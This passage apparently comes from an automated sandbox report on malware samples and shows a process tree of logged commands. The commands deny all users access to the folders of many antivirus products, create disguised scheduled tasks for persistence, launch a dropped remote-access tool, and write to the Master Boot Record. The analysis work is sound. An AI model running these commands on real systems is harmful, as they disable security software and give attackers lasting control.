                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:1624
                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:3152
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                            icacls C:\KVRT_Data /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                            PID:1864
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:4460
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                              icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                                                              PID:212
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\360" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                            PID:3788
                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:5092
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                icacls "C:\Program Files (x86)\360" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                                                                PID:3488
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\360safe" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:4356
                                                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:4500
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                    icacls "C:\ProgramData\360safe" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                                    PID:2708
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpyHunter" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                    PID:4104
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                      icacls "C:\Program Files (x86)\SpyHunter" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                      PID:2516
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Malwarebytes" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:224
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                        icacls "C:\Program Files\Malwarebytes" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                        PID:4280
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\COMODO" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:5032
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                          icacls "C:\Program Files\COMODO" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                                                                          PID:3704
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Enigma Software Group" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:2172
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                            icacls "C:\Program Files\Enigma Software Group" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                                            PID:4244
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\SpyHunter" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:1264
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                              icacls "C:\Program Files\SpyHunter" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                                                                              PID:1864
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:4460
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                icacls "C:\Program Files\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                PID:3328
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:1308
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                  icacls "C:\Program Files (x86)\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                                                                  PID:4936
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                PID:4964
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                  icacls "C:\Programdata\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                  PID:3004
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVG" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:1732
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                    icacls "C:\Program Files\AVG" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                                                    PID:1264
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVG" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:3096
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                      icacls "C:\Program Files (x86)\AVG" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                                      PID:3036
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Norton" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:5092
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                        icacls "C:\ProgramData\Norton" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                        PID:2736
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                      PID:1512
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                        icacls "C:\Programdata\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                        PID:2880
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                        PID:4536
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                          icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                                                                                          PID:4336
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:4964
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                            icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                                                            PID:1460
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                          PID:5084
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                            icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                                                            PID:4952
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:3152
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                              icacls "C:\Program Files\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                                                                                              PID:4460
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:3192
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                PID:1480
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                PID:5092
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                  icacls "C:\Program Files (x86)\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                                                                                  PID:2708
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                  PID:1512
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                    icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                                                                    PID:868
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Doctor Web" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                  PID:4864
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                    icacls "C:\ProgramData\Doctor Web" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                                                                    PID:4852
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\grizzly" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                    PID:4460
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                      icacls "C:\ProgramData\grizzly" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                                                      PID:2840
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Cezurity" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                    PID:1084
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                      icacls "C:\Program Files (x86)\Cezurity" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                      PID:4488
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Cezurity" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:4792
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                        icacls "C:\Program Files\Cezurity" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                                        PID:2840
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\McAfee" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                        PID:1740
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                          icacls "C:\ProgramData\McAfee" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                                                                                                          PID:4500
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\McAfee" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                          PID:180
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                            icacls "C:\Program Files\Common Files\McAfee" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                            PID:3096
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Avira" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                            PID:1264
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                              icacls "C:\ProgramData\Avira" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                                                                                                              PID:1512
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                            PID:5084
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                              icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                                                                                                              PID:4356
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                              PID:4640
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                                icacls "C:\Program Files\ESET" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                PID:1776
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                PID:3328
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                                  icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                  PID:4952
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                  PID:4012
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                                    icacls "C:\ProgramData\ESET" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                    PID:4640
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                    PID:4548
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                                      icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                      PID:4460
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Panda Security" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                      PID:1512
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                                                        icacls "C:\Program Files (x86)\Panda Security" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                        PID:4356
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\SystemC" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC MINUTE /MO 1
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                                      PID:5200
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Cleaner" /TR "C:\Programdata\WindowsTask\winlogon.exe" /SC ONLOGON /RL HIGHEST
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                                      PID:5364
                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\Windows\rutserv.exe
                                                                                                                                                                                                                                                                                                                                    C:\ProgramData\Windows\rutserv.exe
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                    PID:2436
                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                                                                                                                                      C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                      PID:2940
                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                                                                                                                                        C:\ProgramData\Windows\rfusclient.exe /tray
                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                        • Suspicious behavior: SetClipboardViewer
                                                                                                                                                                                                                                                                                                                                        PID:4924
                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                                                                                                                                      C:\ProgramData\Windows\rfusclient.exe /tray
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                      PID:3396
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\Trojan\ClassicShell.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\Trojan\ClassicShell.exe"
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                    • Writes to the Master Boot Record (MBR)
                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                    PID:4816
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Downloads\The-MALWARE-Repo-master\The-MALWARE-Repo-master\Trojan\DesktopPuzzle.exe
